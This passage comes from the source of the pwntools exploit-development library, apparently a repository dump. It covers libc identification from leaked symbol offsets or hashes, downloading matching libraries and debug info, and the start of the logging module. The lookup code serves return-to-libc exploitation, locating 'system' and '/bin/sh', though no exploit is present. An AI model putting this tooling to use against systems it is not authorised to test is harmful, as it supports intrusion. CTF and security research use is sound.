sorted(localdb.rglob(\"*.symbols\"), key=lambda x: x.as_posix()):\n        libc_syms = _parse_libc_symbol(symbol_file)\n\n        matched = 0\n        for name, addr in query_syms.items():\n            if isinstance(addr, str):\n                addr = int(addr, 16) \n\n            # Compare last 12 bits\n            if libc_syms.get(name) and (libc_syms.get(name) & 0xfff) == (addr & 0xfff):\n                matched += 1\n            else:\n                # aborting this loop once there was a mismatch.\n                break\n\n        # Check if all symbols have been matched\n        if matched == len(query_syms):\n            libs_id = symbol_file.stem\n            libc_path = symbol_file.parent / (\"%s.so\" % libs_id)\n            libs_url = read(symbol_file.parent / (\"%s.url\" % libs_id)).decode().strip()\n            res.append(_pack_libs_info(libc_path, libs_id, libs_url, libc_syms))\n\n    return res\n\nPROVIDERS = {\n    \"offline\": [provider_local_system, provider_local_database],\n    \"online\": [provider_libcdb, provider_libc_rip]\n}\n\ndef search_by_hash(search_target, search_type='build_id', unstrip=True, offline_only=False):\n    \"\"\"search_by_hash(str, str, bool, bool) -> str\n    Arguments:\n        search_target(str):\n            Use for searching the libc. This could be a hex encoded ID (`hex_encoded_id`) or a library\n            name (`libs_id`). Depending on `search_type`, this can represent different types of encoded \n            values or names.\n        search_type(str):\n            The type of the search to be performed, it should be one of the keys in the `TYPES` dictionary.\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n        offline_only(bool):\n            If True, restricts the search to offline providers only (local database). If False, it will also\n            search online providers. Default is False.\n\n    Returns:\n        The path to the cached directory containing the downloaded libraries.\n    \"\"\"\n    assert search_type in TYPES, search_type\n\n    # Ensure that the libcdb cache directory exists\n    cache, cache_valid = _check_elf_cache('libcdb', search_target, search_type)\n    if cache_valid:\n        if unstrip:\n            unstrip_libc(cache)\n        return cache\n    \n    # We searched for this buildid before, but didn't find anything.\n    if cache is None:\n        return None\n\n    providers = PROVIDERS[\"offline\"]\n    if not offline_only:\n        providers += PROVIDERS[\"online\"]\n\n    # Run through all available libc database providers to see if we have a match.\n    for provider in providers:\n        data = provider(search_target, search_type)\n        if data and data.startswith(b'\\x7FELF'):\n            break\n\n    if not data:\n        log.warn_once(\"Could not find libc for %s %s anywhere\", search_type, search_target)\n\n    # Save whatever we got to the cache\n    write(cache, data or b'')\n\n    # Return ``None`` if we did not get a valid ELF file\n    if not data or not data.startswith(b'\\x7FELF'):\n        return None\n\n    # Try to find debug info for this libc.\n    if unstrip:\n        unstrip_libc(cache)\n\n    return cache\n\ndef _check_elf_cache(cache_type, search_target, search_type):\n    \"\"\"\n    Check if there already is an ELF file for this hash in the cache.\n\n    >>> cache, _ = _check_elf_cache('libcdb', '2d1c5e0b85cb06ff47fa6fa088ec22cb6e06074e', 'build_id')\n    >>> os.unlink(cache) if os.path.exists(cache)\n    >>> filename = search_by_hash('2d1c5e0b85cb06ff47fa6fa088ec22cb6e06074e', 'build_id', unstrip=False)\n    >>> hex(ELF(filename).symbols.read)\n    '0xe56c0'\n    >>> filename == cache\n    True\n    \"\"\"\n    # Ensure that the cache directory exists\n    cache_dir = os.path.join(context.cache_dir, cache_type, search_type)\n\n    if not os.path.isdir(cache_dir):\n        os.makedirs(cache_dir)\n\n    # If we already downloaded the file, and it looks even passingly like\n    # a valid ELF file, return it.\n    cache = os.path.join(cache_dir, search_target)\n\n    if not os.path.exists(cache):\n        return cache, False\n    \n    log.debug(\"Found existing cached ELF at %r\", cache)\n\n    data = read(cache)\n    if not data.startswith(b'\\x7FELF'):\n        # Retry failed lookups after some time\n        if time.time() > os.path.getmtime(cache) + NEGATIVE_CACHE_EXPIRY:\n            return cache, False\n        log.info_once(\"Skipping invalid cached ELF %s\", search_target)\n        return None, False\n\n    log.info_once(\"Using cached data from %r\", cache)\n    return cache, True\n\ndef unstrip_libc(filename):\n    \"\"\"\n    Given a path to a libc binary, attempt to download matching debug info\n    and add them back to the given binary.\n\n    This modifies the given file.\n\n    Arguments:\n        filename(str):\n            Path to the libc binary to unstrip.\n\n    Returns:\n        :const:`True` if binary was unstripped, :const:`False` otherwise.\n\n    Examples:\n\n        >>> filename = search_by_build_id('69389d485a9793dbe873f0ea2c93e02efaa9aa3d', unstrip=False)\n        >>> libc = ELF(filename)\n        >>> 'main_arena' in libc.symbols\n        False\n        >>> unstrip_libc(filename)\n        True\n        >>> libc = ELF(filename)\n        >>> hex(libc.symbols.main_arena)\n        '0x219c80'\n        >>> unstrip_libc(pwnlib.data.elf.get('test-x86'))\n        False\n        >>> filename = search_by_build_id('d1704d25fbbb72fa95d517b883131828c0883fe9', unstrip=True)\n        >>> 'main_arena' in ELF(filename).symbols\n        True\n    \"\"\"\n    if not which('eu-unstrip'):\n        log.warn_once('Couldn\\'t find \"eu-unstrip\" in PATH. Install elfutils first.')\n        return False\n\n    libc = ELF(filename, checksec=False)\n    if not libc.buildid:\n        log.warn_once('Given libc does not have a buildid. Cannot look for debuginfo to unstrip.')\n        return False\n\n    if libc.debuginfo:\n        log.debug('Given libc already contains debug information. Skipping unstrip.')\n        return True\n\n    log.debug('Trying debuginfod servers: %r', DEBUGINFOD_SERVERS)\n\n    # Deferred import because it's slow\n    import requests\n    import urllib.parse\n\n    hex_encoded_id = enhex(libc.buildid)\n\n    # Check if we tried this buildid before.\n    cache, cache_valid = _check_elf_cache('libcdb_dbg', hex_encoded_id, 'build_id')\n    if not cache_valid:\n        # Cached negative result so we don't look for missing debug info everytime.\n        if cache is None:\n            return False\n        else:\n            for server_url in DEBUGINFOD_SERVERS:\n                # Try to find separate debuginfo.\n                url  = '/buildid/{}/debuginfo'.format(hex_encoded_id)\n                url  = urllib.parse.urljoin(server_url, url)\n                data = b\"\"\n                log.debug(\"Downloading data from debuginfod: %s\", url)\n                try:\n                    data = wget(url, timeout=20)\n\n                    # Try next server if we didn't get a valid ELF file\n                    if not data or not data.startswith(b'\\x7FELF'):\n                        log.warn_once(\"Could not fetch libc debuginfo for build_id %s from %s\", hex_encoded_id, server_url)\n                        continue\n                    break\n                except requests.RequestException as e:\n                    log.warn_once(\"Failed to fetch libc debuginfo for build_id %s from %s: %s\", hex_encoded_id, server_url, e)\n            else:\n                write(cache, data or b'')\n                log.warn_once('Couldn\\'t find debug info for libc with build_id %s on any debuginfod server.', enhex(libc.buildid))\n                return False\n            \n            # Save whatever we got to the cache\n            write(cache, data or b'')\n\n    # Add debug info to given libc binary inplace.\n    p = process(['eu-unstrip', '-o', filename, filename, cache])\n    output = p.recvall()\n    p.close()\n\n    if output:\n        log.error('Failed to unstrip libc binary: %r', output)\n        return False\n\n    return True\n\ndef _extract_tarfile(cache_dir, data_filename, tarball):\n    from io import BytesIO\n    import tarfile\n    # Handle zstandard compression, since tarfile only supports gz, bz2, and xz.\n    if data_filename.endswith('.zst') or data_filename.endswith('.zstd'):\n        import zstandard\n        dctx = zstandard.ZstdDecompressor()\n        decompressed_tar = BytesIO()\n        dctx.copy_stream(tarball, decompressed_tar)\n        decompressed_tar.seek(0)\n        tarball.close()\n        tarball = decompressed_tar\n\n    with tarfile.open(fileobj=tarball) as tar_file:\n        # Find the library folder in the archive (e.g. /lib/x86_64-linux-gnu/)\n        lib_dir = None\n        libc_name = None\n        for member in tar_file.getmembers():\n            if not member.isfile():\n                continue\n            libc_name = os.path.basename(member.name)\n            if libc_name == 'libc.so.6' or (libc_name.startswith('libc') and libc_name.endswith('.so')):\n                lib_dir = os.path.dirname(member.name)\n                break\n        else:\n            log.error('Couldn\\'t find library folder containing the libc in the archive.')\n\n        # Extract everything in the library folder\n        for member in tar_file.getmembers():\n            if os.path.dirname(member.name) != lib_dir:\n                continue\n            if not member.isfile() and not member.issym():\n                continue\n            # Extract while keeping file permissions\n            tar_file.extract(member, cache_dir)\n\n        # Move the files up to the cache root\n        target_dir = os.path.join(cache_dir, lib_dir)\n        for file in os.listdir(target_dir):\n            os.rename(os.path.join(target_dir, file), os.path.join(cache_dir, file))\n        os.removedirs(target_dir)\n\n        return os.path.join(cache_dir, libc_name)\n\ndef _extract_debfile(cache_dir, package_filename, package):\n    # Extract data.tar in the .deb archive.\n    import unix_ar\n    from io import BytesIO\n    ar_file = unix_ar.open(BytesIO(package))\n    try:\n        data_filename = next(filter(lambda f: f.name.startswith(b'data.tar'), ar_file.infolist())).name.decode()\n        tarball = ar_file.open(data_filename)\n        return _extract_tarfile(cache_dir, data_filename, tarball)\n    finally:\n        ar_file.close()\n\ndef _extract_pkgfile(cache_dir, package_filename, package):\n    from io import BytesIO\n    return _extract_tarfile(cache_dir, package_filename, BytesIO(package))\n\ndef _find_libc_package_lib_url(libc):\n    # Check https://libc.rip for the libc package\n    libc_match = query_libc_rip({'buildid': enhex(libc.buildid)})\n    if libc_match is not None:\n        for match in libc_match:\n            # Allow to override url with a caching proxy in CI\n            ubuntu_archive_url = os.environ.get('PWN_UBUNTU_ARCHIVE_URL', 'http://archive.ubuntu.com').rstrip('/')\n            yield match['libs_url'].replace('http://archive.ubuntu.com', ubuntu_archive_url)\n    \n    # Check launchpad.net if it's an Ubuntu libc\n    # GNU C Library (Ubuntu GLIBC 2.36-0ubuntu4)\n    import re\n    version = re.search(br'GNU C Library \\(Ubuntu E?GLIBC ([^\\)]+)\\)', libc.data)\n    if version is not None:\n        libc_version = version.group(1).decode()\n        yield 'https://launchpad.net/ubuntu/+archive/primary/+files/libc6_{}_{}.deb'.format(libc_version, libc.arch)\n\ndef download_libraries(libc_path, unstrip=True):\n    \"\"\"download_libraries(str, bool) -> str\n    Download the matching libraries for the given libc binary and cache\n    them in a local directory. The libraries are looked up using `libc.rip <https://libc.rip>`_\n    and fetched from the official package repositories if available.\n\n    This commonly includes the ``ld-linux-x86-64.so.2`` and ``libpthread.so.0`` binaries\n    which can be used to execute the program locally when the given libc is\n    incompatible with the local dynamic loader.\n\n    Note: Only .deb and .pkg.tar.* packages are currently supported (Debian/Ubuntu, Arch).\n\n    Arguments:\n        libc_path(str):\n            The path the libc binary.\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n\n    Returns:\n        The path to the cached directory containing the downloaded libraries.\n\n    Example:\n\n        >>> libc_path = ELF(which('ls'), checksec=False).libc.path\n        >>> lib_path = download_libraries(libc_path)\n        >>> lib_path is not None\n        True\n        >>> os.path.exists(os.path.join(lib_path, 'libc.so.6'))\n        True\n        >>> os.path.exists(os.path.join(lib_path, 'ld-linux-x86-64.so.2'))\n        True\n    \"\"\"\n\n    libc = ELF(libc_path, checksec=False)\n    if not libc.buildid:\n        log.warn_once('Given libc does not have a buildid.')\n        return None\n    \n    # Handle caching and don't redownload if it already exists.\n    cache_dir = os.path.join(context.cache_dir, 'libcdb_libs')\n    if not os.path.isdir(cache_dir):\n        os.makedirs(cache_dir)\n    \n    cache_dir = os.path.join(cache_dir, enhex(libc.buildid))\n    if os.path.exists(cache_dir):\n        return cache_dir\n\n    for package_url in _find_libc_package_lib_url(libc):\n        extension_handlers = {\n            '.deb': _extract_debfile,\n            '.pkg.tar.xz': _extract_pkgfile,\n            '.pkg.tar.zst': _extract_pkgfile,\n        }\n\n        package_filename = os.path.basename(package_url)\n        for extension, handler in extension_handlers.items():\n            if package_filename.endswith(extension):\n                break\n        else:\n            log.failure('Cannot handle %s (%s)', package_filename, package_url)\n            continue\n\n        # Download the package\n        package = wget(package_url, timeout=20)\n        if not package:\n            continue\n\n        # Create target cache directory to extract files into\n        if not os.path.isdir(cache_dir):\n            os.makedirs(cache_dir)\n\n        try:\n            # Extract the archive\n            libc_path = handler(cache_dir, package_filename, package)\n        except Exception as e:\n            os.removedirs(cache_dir)\n            log.failure('Failed to extract %s: %s', package_filename, e)\n            continue\n        # Unstrip the libc binary\n        try:\n            if unstrip:\n                unstrip_libc(libc_path)\n        except Exception:\n            pass\n\n        return cache_dir\n\n    log.warn_once('Failed to find matching libraries for provided libc.')\n    return None\n\ndef _handle_multiple_matching_libcs(matching_libcs):\n    from pwnlib.term import text\n    from pwnlib.ui import options\n    log.info('Multiple matching libc libraries for requested symbols:')\n    for idx, libc in enumerate(matching_libcs):\n        log.info('%d. %s', idx+1, text.red(libc['id']))\n        log.indented('\\t%-20s %s', text.green('BuildID:'), libc['buildid'])\n        log.indented('\\t%-20s %s', text.green('MD5:'), libc['md5'])\n        log.indented('\\t%-20s %s', text.green('SHA1:'), libc['sha1'])\n        log.indented('\\t%-20s %s', text.green('SHA256:'), libc['sha256'])\n        log.indented('\\t%s', text.green('Symbols:'))\n        for symbol, address in libc['symbols'].items():\n            log.indented('\\t%25s = %s', symbol, address)\n\n    selected_index = options(\"Select the libc version to use:\", [libc['id'] for libc in matching_libcs])\n    return matching_libcs[selected_index]\n\ndef search_by_symbol_offsets(symbols, select_index=None, unstrip=True, offline_only=False, search_type='build_id', return_as_list=False, return_raw=False):\n    \"\"\"\n    Lookup possible matching libc versions based on leaked function addresses.\n\n    The leaked function addresses have to be provided as a dict mapping the\n    function name to the leaked value. Only the lower 3 nibbles are relevant\n    for the lookup.\n\n    If there are multiple matches you are presented with a list to select one\n    interactively, unless the ``select_index`` or ``return_as_list`` arguments\n    are used.\n\n    Arguments:\n        symbols(dict):\n            Dictionary mapping symbol names to their addresses.\n        select_index(int):\n            The libc to select if there are multiple matches (starting at 1).\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n        offline_only(bool):\n            When pass `offline_only=True`, restricts search mode to offline sources only,\n            disable online lookup. Defaults to `False`, and enable both offline and online providers.\n        search_type(str):\n            An option to select searched hash.\n        return_as_list(bool):\n            Return a list of build ids of all matching libc versions\n            instead of a path to a downloaded file.\n        return_raw(bool):\n            Return raw list of matched libc.\n\n    Returns:\n        Path to the downloaded library on disk, or :const:`None`.\n        If the ``return_as_list`` argument is :const:`True`, a list of build ids\n        is returned instead.\n\n    Examples:\n\n        >>> filename = search_by_symbol_offsets({'puts': 0x420, 'printf': 0xc90}, select_index=1)\n        >>> libc = ELF(filename)\n        >>> libc.sym.system == 0x52290\n        True\n        >>> matched_libcs = search_by_symbol_offsets({'__libc_start_main_ret': '7f89ad926550'}, return_as_list=True)\n        >>> len(matched_libcs) > 1\n        True\n        >>> for buildid in matched_libcs: # doctest: +SKIP\n        ...     libc = ELF(search_by_build_id(buildid)) # doctest: +SKIP\n    \"\"\"\n    assert search_type in TYPES, search_type\n\n    for symbol, address in symbols.items():\n        if isinstance(address, int):\n            symbols[symbol] = hex(address)\n\n    params = {'symbols': symbols}\n    log.debug('Request: %s', params)\n\n    offline_matching = query_local_database(params)\n    online_matching = query_libc_rip(params) if not offline_only else None\n\n    if offline_matching is None:\n        offline_matching = []\n    if online_matching is None:\n        online_matching = []\n\n    # Aggregate and deduplicate matches from both sources\n    matching_libcs = {}\n    for libc in offline_matching + online_matching:\n        if libc['id'] not in matching_libcs:\n            matching_libcs[libc['id']] = libc\n\n    log.debug('Offline search result: %s', offline_matching)\n    if not offline_only:\n        log.debug('Online search result: %s', online_matching)\n\n    # Check if no matches are found\n    if len(matching_libcs) == 0:\n        log.warn_once(\"No matching libc for symbols %r\", symbols)\n        return None\n\n    matching_list = list(matching_libcs.values())\n\n    if return_as_list:\n        return [libc['buildid'] for libc in matching_list]\n\n    if return_raw:\n        return matching_list\n\n    mapped_type = MAP_TYPES.get(search_type, search_type)\n\n    # If there's only one match, return it directly\n    if len(matching_list) == 1:\n        return search_by_hash(matching_list[0][mapped_type], search_type=search_type, unstrip=unstrip, offline_only=offline_only)\n\n    # If a specific index is provided, validate it and return the selected libc\n    if select_index is not None:\n        if select_index > 0 and select_index <= len(matching_list):\n            return search_by_hash(matching_list[select_index - 1][mapped_type], search_type=search_type, unstrip=unstrip, offline_only=offline_only)\n        else:\n            log.error('Invalid selected libc index. %d is not in the range of 1-%d.', select_index, len(matching_list))\n            return None\n\n    # Handle multiple matches interactively if no index is specified\n    selected_libc = _handle_multiple_matching_libcs(matching_list)\n    return search_by_hash(selected_libc[mapped_type], search_type=search_type, unstrip=unstrip, offline_only=offline_only)\n\ndef search_by_libs_id(libs_id, unstrip=True, offline_only=False):\n    \"\"\"\n    Given a Libs ID, attempt to download a matching libc from libcdb.\n\n    Arguments:\n        libs_id(str):\n            Libs ID (e.g. ``'libc6_...'``) of the library\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n        offline_only(bool):\n            When pass ``offline_only=True``, restricts search mode to offline sources only,\n            disable online lookup. Defaults to :const:`False`, and enable both offline and online providers.\n\n    Returns:\n        Path to the downloaded library on disk, or :const:`None`.\n\n    Examples:\n\n        >>> None == search_by_libs_id('XX')\n        True\n        >>> filename = search_by_libs_id('libc6_2.31-3_amd64')\n        >>> hex(ELF(filename).symbols.read)\n        '0xeef40'\n    \"\"\"\n    return search_by_hash(libs_id, 'libs_id', unstrip, offline_only)\n\ndef search_by_build_id(hex_encoded_id, unstrip=True, offline_only=False):\n    \"\"\"\n    Given a hex-encoded Build ID, attempt to download a matching libc from libcdb.\n\n    Arguments:\n        hex_encoded_id(str):\n            Hex-encoded Build ID (e.g. 'ABCDEF...') of the library\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n        offline_only(bool):\n            When pass `offline_only=True`, restricts search mode to offline sources only,\n            disable online lookup. Defaults to `False`, and enable both offline and online providers.\n\n    Returns:\n        Path to the downloaded library on disk, or :const:`None`.\n\n    Examples:\n\n        >>> filename = search_by_build_id('fe136e485814fee2268cf19e5c124ed0f73f4400')\n        >>> hex(ELF(filename).symbols.read)\n        '0xda260'\n        >>> None == search_by_build_id('XX')\n        True\n        >>> filename = search_by_build_id('a5a3c3f65fd94f4c7f323a175707c3a79cbbd614')\n        >>> hex(ELF(filename).symbols.read)\n        '0xeef40'\n    \"\"\"\n    return search_by_hash(hex_encoded_id, 'build_id', unstrip, offline_only)\n\ndef search_by_md5(hex_encoded_id, unstrip=True, offline_only=False):\n    \"\"\"\n    Given a hex-encoded md5sum, attempt to download a matching libc from libcdb.\n\n    Arguments:\n        hex_encoded_id(str):\n            Hex-encoded md5sum (e.g. 'ABCDEF...') of the library\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n        offline_only(bool):\n            When pass `offline_only=True`, restricts search mode to offline sources only,\n            disable online lookup. Defaults to `False`, and enable both offline and online providers.\n\n    Returns:\n        Path to the downloaded library on disk, or :const:`None`.\n\n    Examples:\n\n        >>> filename = search_by_md5('7a71dafb87606f360043dcd638e411bd')\n        >>> hex(ELF(filename).symbols.read)\n        '0xda260'\n        >>> None == search_by_md5('XX')\n        True\n        >>> filename = search_by_md5('74f2d3062180572fc8bcd964b587eeae')\n        >>> hex(ELF(filename).symbols.read)\n        '0xeef40'\n    \"\"\"\n    return search_by_hash(hex_encoded_id, 'md5', unstrip, offline_only)\n\ndef search_by_sha1(hex_encoded_id, unstrip=True, offline_only=False):\n    \"\"\"\n    Given a hex-encoded sha1, attempt to download a matching libc from libcdb.\n\n    Arguments:\n        hex_encoded_id(str):\n            Hex-encoded sha1sum (e.g. 'ABCDEF...') of the library\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n        offline_only(bool):\n            When pass `offline_only=True`, restricts search mode to offline sources only,\n            disable online lookup. Defaults to `False`, and enable both offline and online providers.\n\n    Returns:\n        Path to the downloaded library on disk, or :const:`None`.\n\n    Examples:\n\n        >>> filename = search_by_sha1('34471e355a5e71400b9d65e78d2cd6ce7fc49de5')\n        >>> hex(ELF(filename).symbols.read)\n        '0xda260'\n        >>> None == search_by_sha1('XX')\n        True\n        >>> filename = search_by_sha1('0041d2f397bc2498f62aeb4134d522c5b2635e87')\n        >>> hex(ELF(filename).symbols.read)\n        '0xeef40'\n    \"\"\"\n    return search_by_hash(hex_encoded_id, 'sha1', unstrip, offline_only)\n\ndef search_by_sha256(hex_encoded_id, unstrip=True, offline_only=False):\n    \"\"\"\n    Given a hex-encoded sha256, attempt to download a matching libc from libcdb.\n\n    Arguments:\n        hex_encoded_id(str):\n            Hex-encoded sha256sum (e.g. 'ABCDEF...') of the library\n        unstrip(bool):\n            Try to fetch debug info for the libc and apply it to the downloaded file.\n        offline_only(bool):\n            When pass `offline_only=True`, restricts search mode to offline sources only,\n            disable online lookup. Defaults to `False`, and enable both offline and online providers.\n\n    Returns:\n        Path to the downloaded library on disk, or :const:`None`.\n\n    Examples:\n\n        >>> filename = search_by_sha256('5e877a8272da934812d2d1f9ee94f73c77c790cbc5d8251f5322389fc9667f21')\n        >>> hex(ELF(filename).symbols.read)\n        '0xda260'\n        >>> None == search_by_sha256('XX')\n        True\n        >>> filename = search_by_sha256('5d78fc60054df18df20480c71f3379218790751090f452baffb62ac6b2aff7ee')\n        >>> hex(ELF(filename).symbols.read)\n        '0xeef40'\n    \"\"\"\n    return search_by_hash(hex_encoded_id, 'sha256', unstrip, offline_only)\n\ndef _parse_libc_symbol(path):\n    \"\"\"\n    Parse symbols file to `dict`, the format is same as https://github.com/niklasb/libc-database/\n    \"\"\"\n\n    syms = {}\n\n    with open(path, \"r\") as fd:\n        for x in fd:\n            name, addr = x.split(\" \")\n            syms[name] = int(addr, 16)\n\n    return syms\n\ndef _pack_libs_info(path, libs_id, libs_url, syms):\n    \"\"\" \n    The JSON format is the same as libc.rip, and the \"download_url\" field is by default an empty string, \n    as it's not required in offline mode.\n    \"\"\"\n\n    info = {}\n\n    info[\"id\"] = libs_id\n    info[\"libs_url\"] = libs_url\n    info[\"download_url\"] = \"\"\n\n    for search_type, hash_func in TYPES.items():\n        # pass libs_id\n        if search_type == 'libs_id':\n            continue\n\n        # replace search_type\n        if search_type in MAP_TYPES.keys():\n            search_type = MAP_TYPES[search_type]\n\n        info[search_type] = hash_func(path)\n\n    default_symbol_list = [\n        \"__libc_start_main_ret\", \"dup2\", \"printf\", \"puts\", \"read\", \"system\", \"str_bin_sh\"\n    ]\n\n    info[\"symbols\"] = {}\n    for name in default_symbol_list:\n        info[\"symbols\"][name] = hex(syms[name])\n\n    return info\n\n\ndef get_build_id_offsets():\n    \"\"\"\n    Returns a list of file offsets where the Build ID should reside within\n    an ELF file of the currently selected architecture.\n    \"\"\"\n    # Given the corpus of almost all libc to have been released with\n    # RedHat, Fedora, Ubuntu, Debian, etc. over the past several years,\n    # we can say with 99% certainty that the GNU Build ID section will\n    # be at one of the specified addresses.\n    #\n    # The point here is to get an easy win by reading less DWORDs than would\n    # have otherwise been required to walk the section table and the string\n    # stable.\n    #\n    # function check_arch() {\n    # readelf -n $(file -L * | grep -i \"$1\" | cut -d ':' -f 1) \\\n    #       | grep -B3 BUILD_ID \\\n    #       | grep offset \\\n    #       | sort \\\n    #       | uniq -c\n    # }\n\n    return {\n    # $ check_arch 80386\n    #     181 Displaying notes found at file offset 0x00000174 with length 0x00000024:\n        'i386': [0x174, 0x1b4, 0x1d4],\n    # $ check_arch \"ARM, EABI5\"\n    #      69 Displaying notes found at file offset 0x00000174 with length 0x00000024:\n        'arm':  [0x174],\n        'thumb':  [0x174],\n    # $ check_arch \"ARM aarch64\"\n    #       1 Displaying notes found at file offset 0x00000238 with length 0x00000024:\n        'aarch64': [0x238],\n    # $ check_arch \"x86-64\"\n    #       6 Displaying notes found at file offset 0x00000174 with length 0x00000024:\n    #      82 Displaying notes found at file offset 0x00000270 with length 0x00000024:\n        'amd64': [0x270, 0x174, 0x2e0, 0x370],\n    # $ check_arch \"PowerPC or cisco\"\n    #      88 Displaying notes found at file offset 0x00000174 with length 0x00000024:\n        'powerpc': [0x174],\n    # $ check_arch \"64-bit PowerPC\"\n    #      30 Displaying notes found at file offset 0x00000238 with length 0x00000024:\n        'powerpc64': [0x238],\n    # $ check_arch \"SPARC32\"\n    #      32 Displaying notes found at file offset 0x00000174 with length 0x00000024:\n        'sparc': [0x174],\n    # $ check_arch \"SPARC V9\"\n    #      33 Displaying notes found at file offset 0x00000270 with length 0x00000024:\n        'sparc64': [0x270]\n    }.get(context.arch, [])\n\n\n__all__ = ['get_build_id_offsets', 'search_by_build_id', 'search_by_sha1', 'search_by_sha256', 'search_by_md5', 'search_by_libs_id', 'unstrip_libc', 'search_by_symbol_offsets', 'download_libraries']\n"
  },
  {
    "path": "pwnlib/log.py",
    "content": "\"\"\"\nLogging module for printing status during an exploit, and internally\nwithin ``pwntools``.\n\nExploit Developers\n------------------\nBy using the standard ``from pwn import *``, an object named ``log`` will\nbe inserted into the global namespace.  You can use this to print out\nstatus messages during exploitation.\n\nFor example,::\n\n    log.info('Hello, world!')\n\nprints::\n\n    [*] Hello, world!\n\nAdditionally, there are some nifty mechanisms for performing status updates\non a running job (e.g. when brute-forcing).::\n\n    p = log.progress('Working')\n    p.status('Reticulating splines')\n    time.sleep(1)\n    p.success('Got a shell!')\n\n\nThe verbosity of logging can be most easily controlled by setting\n``log_level`` on the global ``context`` object.::\n\n    log.info(\"No you see me\")\n    context.log_level = 'error'\n    log.info(\"Now you don't\")\n\nThe purpose of this attribute is to control what gets printed to the screen,\nnot what gets emitted. This means that you can put all logging events into\na log file, while only wanting to see a small subset of them on your screen.\n\nPwnlib Developers\n-----------------\nA module-specific logger can be imported into the module via::\n\n    from pwnlib.log import getLogger\n    log = getLogger(__name__)\n\nThis provides an easy way to filter logging programmatically\nor via a configuration file for debugging.\n\nWhen using ``progress``, you should use the ``with``\nkeyword to manage scoping, to ensure the spinner stops if an\nexception is thrown.\n\nTechnical details\n-----------------\nFamiliarity with the :mod:`logging` module is assumed.\n\nA pwnlib root logger named 'pwnlib' is created and a custom handler and\nformatter is installed for it.  The handler determines its logging level from\n:data:`context.log_level`.\n\nIdeally :data:`context.log_level` should only affect which records will be\nemitted by the handler such that e.g. logging to a file will not be changed by\nit. But for performance reasons it is not feasible log everything in the normal\ncase. In particular there are tight loops inside :mod:`pwnlib.tubes.tube`, which\nwe would like to be able to debug, but if we are not debugging them, they should\nnot spit out messages (even to a log file). For this reason there are a few places\ninside pwnlib, that will not even emit a record without :data:`context.log_level`\nbeing set to `logging.DEBUG` or below.\n\nLog records created by ``Progress`` and ``Logger`` objects will set\n``'pwnlib_msgtype'`` on the ``extra`` field to signal which kind of message was\ngenerated.  This information is used by the formatter to prepend a symbol to the\nmessage, e.g. ``'[+] '`` in ``'[+] got a shell!'``\n\nThis field is ignored when using the ``logging`` module's standard formatters.\n\nAll status updates (which are not dropped due to throttling) on progress loggers\nresult in a log record being created.  The ``extra`` field then carries a\nreference to the ``Progress`` logger as ``'pwnlib_progress'``.\n\nIf the custom handler determines that :data:`term.term_mode` is enabled, log\nrecords that have a ``'pwnlib_progess'`` in their ``extra`` field will not\nresult in a message being emitted but rather an animated progress line (with a\nspinner!) being created.  Note that other handlers will still see a meaningful\nlog record.\n\nThe custom handler will only handle log records with a level of at least\n:data:`context.log_level`.  Thus if e.g. the level for the\n``'pwnlib.tubes.ssh'`` is set to ``'DEBUG'`` no additional output will show up\nunless :data:`context.log_level` is also set to ``'DEBUG'``.  Other handlers\nwill however see the extra log records generated by the ``'pwnlib.tubes.ssh'``\nlogger.\n\"\"\"\nimport logging\nimport os\nimport random\nimport re\nimport string\nimport sys\nimport threading\nimport time\n\nfrom pwnlib import term\nfrom pwnlib.config import register_config\nfrom pwnlib.context import Thread\nfrom pwnlib.context import context\nfrom pwnlib.exception import PwnlibException\nfrom pwnlib.term import spinners\nfrom pwnlib.term import text\n\n__all__ = [\n    'getLogger', 'install_default_handler', 'rootlogger'\n]\n\n\n\n# list of prefixes to use for the different message types.  note that the `text`\n# module won't add any escape codes if `pwnlib.context.log_console.isatty()` is `False`\n_msgtype_prefixes = {\n    'status'       : [text.magenta, 'x'],\n    'success'      : [text.bold_green, '+'],\n    'failure'      : [text.bold_red, '-'],\n    'debug'        : [text.bold_red, 'DEBUG'],\n    'info'         : [text.bold_blue, '*'],\n    'warning'      : [text.bold_yellow, '!'],\n    'error'        : [text.on_red, 'ERROR'],\n    'exception'    : [text.on_red, 'ERROR'],\n    'critical'     : [text.on_red, 'CRITICAL'],\n    'info_once'    : [text.bold_blue, '*'],\n    'warning_once' : [text.bold_yellow, '!'],\n    }\n\n\ndef read_log_config(settings):\n    log = getLogger(__name__)\n    for key, value in settings.items():\n        if '.' not in key:\n            log.warn(\"Invalid configuration option %r in section %r\" % (key, 'log'))\n            continue\n\n        msgtype, key = key.split('.', 1)\n\n        if key == 'color':\n            current = _msgtype_prefixes[msgtype][0]\n            _msgtype_prefixes[msgtype][0] = getattr(text, value, current)\n\n        elif key == 'symbol':\n            _msgtype_prefixes[msgtype][1] = value\n\n        else:\n            log.warn(\"Unknown configuration option %r in section %r\" % (key, 'log'))\n\nregister_config('log', read_log_config)\n\n# the text decoration to use for spinners.  the spinners themselves can be found\n# in the `pwnlib.term.spinners` module\n_spinner_style = text.bold_blue\n\nclass Progress(object):\n    \"\"\"\n    Progress logger used to generate log records associated with some running\n    job.  Instances can be used as context managers which will automatically\n    declare the running job a success upon exit or a failure upon a thrown\n    exception.  After :meth:`success` or :meth:`failure` is called the status\n    can no longer be updated.\n\n    This class is intended for internal use.  Progress loggers should be created\n    using :meth:`Logger.progress`.\n    \"\"\"\n    def __init__(self, logger, msg, status, level, args, kwargs):\n        self._logger = logger\n        self._msg = msg\n        self._status = status\n        self._level = level\n        self._stopped = False\n        self.last_status = 0\n        self.rate = kwargs.pop('rate', 0)\n        self._log(status, args, kwargs, 'status')\n        # it is a common use case to create a logger and then immediately update\n        # its status line, so we reset `last_status` to accommodate this pattern\n        self.last_status = 0\n\n    def _log(self, status, args, kwargs, msgtype):\n        # Logs are strings, not bytes.  Handle Python3 bytes() objects.\n        status = _need_text(status)\n\n        # this progress logger is stopped, so don't generate any more records\n        if self._stopped:\n            return\n        msg = self._msg\n        if msg and status:\n            msg += ': '\n        msg += status\n        self._logger._log(self._level, msg, args, kwargs, msgtype, self)\n\n    def status(self, 